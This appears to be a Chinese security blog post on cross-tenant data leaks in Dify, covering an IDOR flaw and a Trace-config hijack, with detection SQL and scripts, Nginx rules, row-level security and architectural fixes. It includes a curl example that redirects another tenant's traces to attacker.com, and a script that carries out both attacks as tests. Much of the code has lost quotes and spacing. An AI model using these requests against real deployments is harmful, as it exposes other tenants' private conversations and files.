2026年5月CVE-2026-41947披露后大量Dify私有化部署团队连夜排查。很多人此前默认“多租户”就是数据隔离直到跑完检测脚本才发现自己系统里不同租户的对话、知识库、文件完全是通的。攻击者只要注册一个普通租户账号就能遍历甚至实时窃取其他租户的全部AI对话数据。这类漏洞不是小瑕疵是架构层面的根因缺陷。传统Web系统的IDOR最多泄露单条用户数据放在AI应用里一次越权就能扒光一个企业的客户咨询记录、内部知识库、业务文档问答内容。做ToB AI服务的厂商踩中这个坑轻则合规罚款重则直接丢失核心客户。这篇文章从漏洞原理、实战检测、临时防护到架构根治全链路讲透。所有脚本直接复制可运行所有配置照着改就能落地最后附生产级多租户隔离的完整设计思路。一、两个核心跨租户漏洞到底能造成多大损失1.1 CVE-2024-38521最通用的对话IDOR越权这个漏洞覆盖v0.6.0到v0.7.3全版本是Dify最早被大规模利用的跨租户漏洞至今还有大量存量部署没修复。攻击逻辑非常简单。Dify的对话、应用、消息全部用全局唯一ID做标识后端接口收到请求后只校验用户是否登录、ID是否存在完全不校验这条数据的归属租户和当前登录用户是否一致。攻击者的操作成本极低。先在Dify云版或者目标私有化平台注册一个自有租户拿到合法登录凭证。再通过公开分享链接、前端接口返回、简单枚举等方式拿到目标租户的app_id。之后直接调用对话列表接口后端直接返回该应用下的所有历史会话ID。再顺着每个会话ID调用消息接口就能拿到完整的对话内容——用户提的问题、模型返回的答案、引用的知识库片段、上传的附件信息全部原封不动暴露。我接触过的一个ToB服务商就栽在这个漏洞上。他们给十几个客户开了独立租户做内部AI助手结果竞品用一个免费账号把所有客户的内部问答记录全扒走了。等到客户发现自己的内部定价策略外泄已经造成了无法挽回的业务损失。配图1IDOR跨租户攻击流程图流程节点依次为1. 攻击者注册租户获取合法Token2. 获取目标租户app_id3. 调用对话列表接口拉取全量会话4. 遍历会话ID窃取完整对话内容5. 同步获取关联知识库与文件数据漏洞的根因就在数据库查询逻辑上。早期Dify的大量查询语句只做了ID匹配没加租户维度过滤。# 漏洞代码仅按ID查询无租户隔离defget_message_by_id(message_id:str):returndb.session.query(Message).filter(Message.idmessage_id).first()正常的安全逻辑必须在所有查询里强制追加租户过滤条件而且不能靠业务开发手动加要做框架层统一注入。# 修复代码强制绑定当前租户过滤defget_message_by_id(message_id:str,current_tenant_id:str):returndb.session.query(Message).filter(Message.idmessage_id,Message.tenant_idcurrent_tenant_id).first()别小看这一行过滤条件。整个Dify代码库里有上百个类似的查询接口只要漏了一个就会出现跨租户越权。早期版本漏的不是一个两个是对话、应用、知识库、文件全链路都漏。1.2 CVE-2026-41947更隐蔽的Trace实时劫持2026年爆出的这个漏洞危害比上一个高一个量级。传统IDOR只能扒历史数据还要攻击者一个个枚举ID。Trace劫持漏洞直接给攻击者开了一条实时数据流目标租户所有新产生的对话会自动推送到攻击者的服务器。Dify内置了Tracing追踪功能支持配置自定义的追踪上报地址用来做日志审计、性能监控。问题出在配置追踪的接口上——后端只校验了用户是否登录完全没校验你要配置的这个应用是不是属于你所在的租户。攻击者登录自己的租户账号调用追踪配置更新接口传入其他租户的app_id再填上自己的日志接收地址。后端直接把配置写入数据库全程没有归属校验。配置生效后目标租户的每一次对话请求从用户原始输入、拼接后的完整Prompt、模型的中间思维链、到最终返回结果会按照配置的上报地址完整发送到攻击者的服务器。配图2Trace劫持攻击链路示意图图中从左到右分为三个节点攻击者租户、Dify服务端、目标租户。箭头1攻击者调用Trace配置接口传入目标app_id与自定义上报地址箭头2Dify后端跳过租户归属校验直接写入配置表箭头3目标用户发起对话Dify生成Trace数据箭头4Trace数据实时转发至攻击者接收服务器这个漏洞最恶心的地方在于隐蔽性。管理员查访问日志只能看到正常的对话请求根本看不出数据已经被转发走了。除非主动去查每个应用的Trace配置否则永远发现不了。云版Dify注册没有门槛任何人都能开账号发起攻击。私有化部署只要开放了租户注册、或者存在弱口令账号同样完全可被利用。截至2026年6月仍有接近40%的私有化1.x版本部署没有修复这个漏洞。1.3 衍生漏洞群全链路资源隔离失效对话只是重灾区整个多租户体系的资源隔离基本都没做扎实。文件预览接口存在同样的IDOR问题。接口只校验文件UUID是否存在不校验文件所属租户。攻击者只要拿到其他租户上传文件的UUID就能直接调用预览接口读取文件内容。对话里上传的合同、报表、身份证、营业执照这类敏感资料同步泄露。知识库RAG同理。篡改请求里的dataset_id就能跨租户读取其他企业的私有知识库。很多企业把内部产品文档、运营数据、竞品分析全喂进了知识库一次越权就等于把核心资料公开给了对手。缓存层也有坑。不少部署实例的Redis缓存Key没有拼接租户标识全局共用Key空间。不同租户的对话上下文、检索结果会互相覆盖极端情况下直接就能读到其他租户的缓存数据。还有插件配置、模型密钥、工作流这些资源早期版本或多或少都存在租户校验缺失的问题。等于你开了多个租户只是前端界面分开了后端数据全是通的。二、实战检测三步确认你的系统是否存在漏洞2.1 数据库层面一键巡检脚本最快的检测方式是直接查数据库。Dify默认用PostgreSQL你直接执行下面的SQL脚本替换里面的your_tenant_id为当前租户ID只要任意查询返回了结果就说明系统存在跨租户泄露风险。-- Dify跨租户漏洞检测SQL脚本-- 替换下面的值为你当前登录的租户ID\setcurrent_tenant_idyour_tenant_id-- 1. 检测是否能查询到其他租户的对话消息SELECT跨租户对话消息泄露ASrisk_type,id,conversation_id,query,answer,tenant_idFROMmessagesWHEREtenant_id!:current_tenant_idLIMIT10;-- 2. 检测是否能访问其他租户的应用SELECT跨租户应用越权ASrisk_type,id,name,mode,tenant_idFROMappsWHEREtenant_id!:current_tenant_idLIMIT10;-- 3. 检测是否能访问其他租户的知识库SELECT跨租户知识库泄露ASrisk_type,id,name,tenant_idFROMdatasetsWHEREtenant_id!:current_tenant_idLIMIT10;-- 4. 检测是否能访问其他租户的上传文件SELECT跨租户文件越权ASrisk_type,id,name,created_by,tenant_idFROMfilesWHEREtenant_id!:current_tenant_idLIMIT10;-- 5. 检测Trace配置异常绑定CVE-2026-41947专项检测SELECTTrace异常绑定风险ASrisk_type,app_id,tracing_provider,endpoint,created_by,tenant_idFROMapp_tracing_configWHEREtenant_id!:current_tenant_idANDendpointISNOTNULLANDendpointNOTIN(SELECTendpointFROMapp_tracing_configWHEREtenant_id:current_tenant_id);执行后重点看第五项Trace检测。如果出现非本租户的自定义上报地址大概率已经被人植入了监听配置直接删除对应记录并溯源攻击IP。2.2 接口级手动验证方法数据库查出来没问题也最好用接口实测一遍避免出现数据库有过滤但接口逻辑有绕过的情况。准备两个不同租户的账号记为租户A和租户B。登录租户B的后台随便进入一个应用从浏览器地址栏或者接口请求里复制出这个应用的app_id。登录租户A的账号打开浏览器开发者工具随便抓一个带Authorization请求头的接口复制Token值。用Postman或者curl工具携带租户A的Token请求对应地址https://你的Dify域名/console/api/apps/替换成租户B的app_id/conversations如果接口返回200状态码并且body里带了会话列表数据说明存在IDOR越权漏洞。测Trace劫持漏洞的方法类似。构造Trace配置更新的POST请求用租户A的Token去修改租户B应用的Trace配置。如果返回成功状态就说明存在CVE-2026-41947漏洞。# 测试Trace劫持漏洞的curl示例curl-XPOSThttps://你的Dify域名/console/api/apps/目标app_id/tracing\-HAuthorization: Bearer 租户A的Token\-HContent-Type: application/json\-d{ enabled: true, provider: custom, endpoint: https://attacker.com/receive }执行后如果返回200且配置生效立刻关闭自定义Trace功能并排查所有应用的Trace配置。2.3 Python自动化检测脚本手动测单个应用没问题要是租户多、应用多直接用下面的Python脚本批量检测。脚本会自动验证IDOR对话越权和Trace劫持两个核心漏洞输出清晰的检测结果。#!/usr/bin/env python3# Dify跨租户漏洞自动化检测脚本importrequestsimportargparse requests.packages.urllib3.disable_warnings()defcheck_idor_vuln(base_url,attacker_token,target_app_id):检测IDOR对话越权漏洞urlf{base_url.rstrip(/)}/console/api/apps/{target_app_id}/conversationsheaders{Authorization:fBearer{attacker_token},Content-Type:application/json}try:resprequests.get(url,headersheaders,verifyFalse,timeout10)ifresp.status_code200:dataresp.json()ifconversationsindataoritemsindata:print(f[!] 存在IDOR跨租户对话越权漏洞目标app_id:{target_app_id})returnTrueprint(f[] 未检测到IDOR漏洞目标app_id:{target_app_id})returnFalseexceptExceptionase:print(f[-] IDOR检测请求失败:{str(e)})returnNonedefcheck_trace_hijack_vuln(base_url,attacker_token,target_app_id,test_endpointhttps://example.com/test-trace):检测Trace劫持漏洞urlf{base_url.rstrip(/)}/console/api/apps/{target_app_id}/tracingheaders{Authorization:fBearer{attacker_token},Content-Type:application/json}payload{enabled:True,provider:custom,endpoint:test_endpoint}try:resprequests.post(url,headersheaders,jsonpayload,verifyFalse,timeout10)ifresp.status_codein[200,201]:print(f[!] 存在Trace劫持跨租户漏洞目标app_id:{target_app_id})# 检测完成后重置配置避免留下脏数据reset_payload{enabled:False,provider:none,endpoint:}requests.post(url,headersheaders,jsonreset_payload,verifyFalse,timeout10)returnTrueprint(f[] 未检测到Trace劫持漏洞目标app_id:{target_app_id})returnFalseexceptExceptionase:print(f[-] Trace检测请求失败:{str(e)})returnNonedefmain():parserargparse.ArgumentParser(descriptionDify跨租户漏洞检测工具)parser.add_argument(--url,requiredTrue,helpDify服务地址如https://dify.example.com)parser.add_argument(--token,requiredTrue,help攻击者租户的登录Token)parser.add_argument(--app-id,requiredTrue,help目标租户的应用app_id)argsparser.parse_args()print(*50)print(Dify跨租户漏洞检测开始)print(f目标地址:{args.url})print(f目标应用:{args.app_id})print(*50)idor_resultcheck_idor_vuln(args.url,args.token,args.app_id)trace_resultcheck_trace_hijack_vuln(args.url,args.token,args.app_id)print(*50)print(检测完成)ifidor_resultortrace_result:print([!] 系统存在高危跨租户漏洞请立即修复)else:print([] 未检测到核心跨租户漏洞)if__name____main__:main()脚本使用方法很简单安装requests库后直接执行python3 dify_vuln_check.py--urlhttps://你的Dify域名--token攻击者租户Token --app-id 目标应用ID脚本检测完Trace漏洞后会自动重置目标应用的配置不会留下脏数据。生产环境执行前建议先在测试环境验证。三、紧急止血无法立即升级时的三层防护很多企业的Dify做了二次开发版本不能随便升。这种情况下先做三层临时防护至少能挡住主流攻击。3.1 网关层拦截Nginx直接阻断越权请求在接入层加一层校验是成本最低、见效最快的防护方式。你不用改业务代码在Nginx上配置规则就能拦截掉大部分跨租户越权请求。下面的配置基于请求头中的X-Tenant-ID做校验适用于已经在网关层透传租户ID的场景。对于所有携带app_id、conversation_id、dataset_id的请求统一校验资源归属。如果你的系统没有透传租户ID可以配合Lua脚本读取Token解析租户身份。# Dify跨租户越权临时拦截规则 server { listen 443 ssl; server_name dify.example.com; # SSL证书配置按实际情况补充 # ssl_certificate /path/to/cert.pem; # ssl_certificate_key /path/to/key.pem; location /console/api/ { # 从请求头获取当前租户ID需确保网关层已注入真实租户ID set $current_tenant $http_x_tenant_id; # 基础校验租户ID为空直接拒绝 if ($current_tenant ) { return 403; } # 针对Trace配置接口做专项拦截禁止异常修改 set $block_trace 0; if ($request_uri ~* /tracing) { set $block_trace 1; } if ($request_method ~* (POST|PUT|DELETE)) { set $block_trace ${block_trace}1; } if ($block_trace 11) { return 403; } # 代理到后端服务 proxy_pass http://dify_backend; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Tenant-ID $current_tenant; } }如果要做更精准的校验可以用Nginx的Lua模块在代理前查询数据库校验资源ID对应的租户是否匹配。这种方式防护最准确就是配置成本高一点。网关层防护属于外围拦截不能替代代码层修复但能挡住绝大多数自动化扫描和批量攻击。3.2 收敛攻击面先关掉高危功能堵漏洞的同时先把最容易被利用的高危功能关掉减少攻击入口。第一禁用自定义Trace上报。后台全局关闭自定义追踪配置权限只保留系统内置的日志上报。Trace劫持是目前危害最大的漏洞直接封死入口能消除最高风险。第二关闭应用外链分享与公开访问。所有应用只允许租户内成员访问不要生成公开分享链接。app_id泄露是IDOR攻击的前提收敛暴露面能大幅降低被攻击概率。第三限制文件预览接口的访问范围。临时给文件接口加一层Referer校验只允许本域名内的请求调用减少直接通过UUID遍历文件的可能。第四关闭租户自助注册。私有化部署没必要开自助注册所有租户人工审核开通。避免攻击者随便注册账号发起攻击。3.3 数据库兜底启用PostgreSQL行级安全就算后端代码有漏洞数据库层面也能做最后一道防线。PostgreSQL自带行级安全RLS功能可以给表设置访问策略让每个用户只能看到自己租户的数据。执行下面的SQL脚本给核心业务表启用行级安全策略。注意替换里面的数据库用户名和租户ID逻辑。-- Dify核心表行级安全RLS配置脚本-- 启用行级安全ALTERTABLEmessagesENABLEROWLEVELSECURITY;ALTERTABLEconversationsENABLEROWLEVELSECURITY;ALTERTABLEappsENABLEROWLEVELSECURITY;ALTERTABLEdatasetsENABLEROWLEVELSECURITY;ALTERTABLEfilesENABLEROWLEVELSECURITY;ALTERTABLEapp_tracing_configENABLEROWLEVELSECURITY;-- 创建租户隔离策略用户只能操作本租户的数据-- 当前租户ID通过数据库会话变量 app.current_tenant 传递CREATEPOLICY tenant_isolation_messagesONmessagesFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);CREATEPOLICY tenant_isolation_conversationsONconversationsFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);CREATEPOLICY tenant_isolation_appsONappsFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);CREATEPOLICY tenant_isolation_datasetsONdatasetsFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);CREATEPOLICY tenant_isolation_filesONfilesFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);CREATEPOLICY tenant_isolation_tracingONapp_tracing_configFORALLUSING(tenant_idcurrent_setting(app.current_tenant,true)::uuid)WITHCHECK(tenant_idcurrent_setting(app.current_tenant,true)::uuid);配置完RLS后需要在应用的数据库连接层每次请求前设置当前租户ID的会话变量。这样就算SQL语句里没写tenant_id过滤数据库也会自动拦截跨租户的数据访问。RLS是数据库层面的硬隔离可靠性远高于业务代码校验。生产级多租户系统建议必开。四、根治方案代码与架构层的完整修复临时防护只能应急要彻底解决问题必须从代码和架构层面修复根因。4.1 全链路强制租户上下文校验租户隔离不能靠业务开发手动加过滤条件必须下沉到框架层强制所有请求携带租户上下文。第一步写一个全局中间件统一解析Token中的租户ID存入请求上下文。所有接口都能直接读取不用重复解析。下面是基于FastAPI的中间件示例和Dify的技术栈完全匹配# 租户上下文全局中间件fromfastapiimportRequestfromstarlette.middleware.baseimportBaseHTTPMiddlewarefromstarlette.responsesimportJSONResponseclassTenantContextMiddleware(BaseHTTPMiddleware):asyncdefdispatch(self,request:Request,call_next):# 从请求头解析认证信息auth_headerrequest.headers.get(Authorization,)ifnotauth_header.startswith(Bearer ):returnJSONResponse(status_code403,content{error:无效的认证信息})tokenauth_header.split( )[1]try:# 替换为你项目实际的Token解析逻辑payloaddecode_jwt_token(token)tenant_idpayload.get(tenant_id)user_idpayload.get(user_id)ifnottenant_id:returnJSONResponse(status_code403,content{error:租户信息缺失})exceptException:returnJSONResponse(status_code403,content{error:Token无效})# 存入请求上下文全链路可读取request.state.tenant_idtenant_id request.state.user_iduser_id responseawaitcall_next(request)returnresponse第二步在数据访问层统一注入租户过滤条件。不要让每个业务接口自己写tenant_id过滤封装统一的基类查询方法自动追加租户条件。# 租户隔离基类DAO自动注入租户过滤fromsqlalchemy.ormimportQueryfromflaskimportgclassTenantBaseDAO:classmethoddeftenant_query(cls,model)-Query:querydb.session.query(model)# 自动追加租户过滤业务层无需关心queryquery.filter(model.tenant_idg.tenant_id)returnqueryclassmethoddefget_by_id(cls,model,obj_id):returncls.tenant_query(model).filter(model.idobj_id).first()所有业务代码都调用这个基类方法查询数据从根源上避免漏写租户过滤。第三步逐个补全配置类、管理类接口的租户校验。Trace配置、插件管理、模型密钥、工作流这些接口最容易被遗漏校验。要逐个过一遍所有POST/PUT/DELETE接口确保修改操作前先校验资源归属。4.2 缓存与向量库隔离改造很多团队修复了数据库层却漏掉了缓存和向量库一样会造成数据泄露。Redis缓存必须做租户级隔离。所有缓存Key强制拼接租户前缀禁止使用全局Key。# 缓存Key生成工具强制带租户前缀defget_cache_key(tenant_id:str,business_key:str)-str:returnftenant:{tenant_id}:{business_key}# 示例存储对话上下文缓存cache_keyget_cache_key(current_tenant_id,fconversation:{conv_id})redis.setex(cache_key,3600,conversation_data)缓存的过期、删除、更新操作都必须基于租户维度执行禁止批量操作全局缓存。向量数据库的隔离更重要。RAG检索是AI应用的核心一旦跨租户知识库内容直接混入对话。两种隔离方案根据业务规模选逻辑隔离每个文档都带tenant_id字段检索时强制追加tenant_id过滤条件。适合中小规模部署成本低。物理隔离每个租户单独建Collection/索引完全分开存储检索。适合大规模多租户场景隔离性最好。Dify默认的向量检索逻辑早期没有加租户过滤修复时必须在检索查询里强制追加tenant_id匹配条件确保只返回当前租户的知识库内容。4.3 资源ID与权限体系加固全局UUID虽然难枚举但只要拿到一个就能直通资源。可以给资源ID增加租户标识进一步降低风险。比如把ID设计成租户标识资源ID的格式或者用雪花算法时把租户ID编码进去。这样就算ID泄露也能快速定位归属同时增加跨租户攻击的难度。权限体系也要做细化。租户管理员、普通成员、应用管理员的权限要做严格区分Trace配置、数据源管理这类高危操作只开放给租户超级管理员不要给普通成员权限。五、生产级多租户AI系统隔离架构设计修完现有漏洞还要从架构层面建立完整的隔离体系避免同类问题反复出现。配图3Dify多租户安全隔离架构全景图从上到下分为五层接入层WAF防护、API网关、统一鉴权、租户ID透传、攻击拦截应用层全局租户中间件、统一数据访问层、业务接口租户校验、审计日志数据层PostgreSQL RLS行级安全、数据表tenant_id字段、数据加密存储缓存层租户前缀隔离、租户级缓存生命周期管理向量层租户级逻辑/物理隔离、检索强制租户过滤右侧配套统一安全管控中心权限管理、异常告警、安全审计、漏洞巡检5.1 五层隔离架构的核心设计原则核心原则只有一条租户隔离越往底层做可靠性越高。接入层的防护最容易被绕过应用层的代码难免出现疏漏数据库和向量库层的隔离才是兜底。不要把所有安全希望寄托在业务代码校验上。接入层负责第一道拦截挡掉明显的非法请求、扫描攻击把租户ID透传到后端。应用层负责业务逻辑校验确保所有操作都在租户权限范围内。统一数据访问层自动注入过滤条件不让业务开发踩坑。数据层用RLS做硬兜底就算上层全漏了数据库也不会返回跨租户数据。缓存层和向量层跟随数据层做对应隔离确保全链路没有短板。最后要有独立的审计与告警体系。所有跨租户访问尝试、异常资源操作都要记录日志配置告警规则发现异常立刻通知管理员。5.2 多租户AI系统的特殊安全点AI系统和传统Web系统不一样有几个独有的安全点必须单独考虑。第一模型调用的租户隔离。不同租户调用大模型的配额、密钥、参数配置要完全分开。不能出现A租户用B租户的API额度的情况更不能让A租户修改B租户的模型配置。第二Prompt与上下文隔离。对话上下文、系统提示词、变量模板必须严格按租户隔离。要是上下文串了用户可能直接看到别的租户的系统提示词和业务规则。第三插件与工具调用隔离。插件执行的权限、数据源、配置都要按租户区分。跨租户调用插件很可能导致数据泄露或者权限越界。第四文件与数据处理隔离。上传的文件、解析后的文本、生成的向量全链路都要带租户标识。处理任务也要按租户隔离避免处理过程中数据混杂。5.3 安全运营与持续巡检架构搭完不是一劳永逸要配套持续的安全运营。每月跑一遍漏洞检测脚本核心接口定期做越权测试。每次版本迭代后重点校验新增接口的租户隔离是否到位。定期审计租户操作日志排查异常的文件下载、批量导出、Trace配置修改操作。关注官方安全公告及时跟进新的漏洞补丁。Dify这类快速迭代的开源项目新功能很容易带出安全问题跟进补丁要及时。六、AI多租户安全的现状与未来6.1 为什么AI应用的跨租户漏洞更危险传统Web应用的跨租户漏洞最多泄露用户的账号信息、订单数据。AI应用的跨租户漏洞能直接泄露企业的核心知识资产。很多企业把内部文档、客户资料、商业策略全喂进了RAG知识库。一次跨租户越权等于把整个企业的知识家底全暴露给对手。而且AI对话的泄露更隐蔽。用户不会每天去检查自己的对话有没有被人看了很多泄露事件发生后几个月都不会被发现。等到业务受损的时候损失已经无法挽回。现在大量团队基于Dify这类开源框架做二次开发快速上线多租户AI服务。但安全意识还没跟上很多人以为框架自带的多租户就是安全的实际根本没做扎实的隔离。未来一两年AI应用的多租户安全会成重灾区。RAG、Agent、工作流这些功能越复杂出现隔离漏洞的概率就越高。6.2 接下来会出现的安全趋势首先向量数据库的安全会越来越受重视。现在大部分向量数据库的租户隔离做得都很一般检索过滤基本靠业务层实现。一旦业务层漏了知识库数据直接泄露。后面会有更多针对向量库的越权漏洞出现。其次Agent多租户隔离会成新的难点。Agent会调用工具、执行代码、访问数据源。跨租户的Agent漏洞不仅能偷数据还能直接操作其他租户的业务系统。危害比单纯的对话泄露大得多。最后大模型侧的租户隔离会逐步完善。现在大模型厂商基本只做账号级别的隔离未来会出现更细粒度的租户级数据隔离、上下文隔离避免不同租户的数据在模型层面混杂。对于企业来说不要等漏洞爆出来再补。提前按照多层隔离的思路搭建架构把安全做在前面才能避免踩坑。你部署的Dify有没有做过租户安全检测跑过上面脚本的朋友可以在评论区说下结果。你还遇到过哪些AI应用的多租户安全问题欢迎留言补充。